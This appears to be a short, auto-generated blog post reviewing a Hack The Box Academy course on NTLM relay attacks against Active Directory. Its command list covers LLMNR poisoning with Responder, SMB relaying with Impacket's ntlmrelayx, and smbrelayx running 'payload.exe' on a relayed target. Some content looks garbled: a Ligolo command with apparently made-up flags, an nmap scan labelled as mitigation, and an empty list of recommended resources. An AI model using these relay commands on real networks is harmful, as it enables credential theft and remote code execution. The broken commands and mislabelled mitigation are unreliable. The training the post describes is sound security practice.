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The NTLM Relay Attacks module on Hack The Box (HTB) Academy is an in-depth course that delves into the complexities of NTLM relaying, a critical aspect of Active Directory (AD) hacking. The course covers the intricacies of handling authentication through proxies and determining the correct protocol for relaying. The final skills assessment is particularly challenging, making it a must-do for anyone looking to improve their AD hacking skills.
Key Commands and Practices:
1. Setting up Responder for NTLM Relay:
sudo responder -I eth0 -wrf
2. Using Impacket’s ntlmrelayx.py:
python3 ntlmrelayx.py -t smb://target-ip -smb2support
3. Configuring Proxies with Ligolo:
ligolo -self -http-proxy http://proxy-ip:port -https-proxy https://proxy-ip:port
4. Exploiting SMB Relay:
python3 smbrelayx.py -h target-ip -e payload.exe
5. Mitigating NTLM Relay Attacks:
sudo nmap -p 445 --script smb-security-mode.nse target-ip
What Undercode Say:
NTLM Relay Attacks are a significant threat in modern network environments, particularly within Active Directory setups. The HTB Academy module provides a comprehensive understanding of these attacks, from the basics to advanced techniques involving proxies and protocol determination. The course emphasizes practical skills, culminating in a challenging final assessment that tests your ability to apply what you’ve learned in real-world scenarios.
To further enhance your skills, consider exploring additional resources and tools such as Impacket, Responder, and Ligolo. These tools are essential for both executing and defending against NTLM Relay Attacks. Additionally, understanding the underlying protocols and how they can be manipulated is crucial for effective penetration testing.
For those looking to deepen their knowledge, the following resources are highly recommended:
In conclusion, mastering NTLM Relay Attacks requires a combination of theoretical knowledge and practical experience. The HTB Academy module is an excellent starting point, but continuous learning and practice are essential to stay ahead in the ever-evolving field of cybersecurity.
References:
Hackers Feeds, Undercode AI
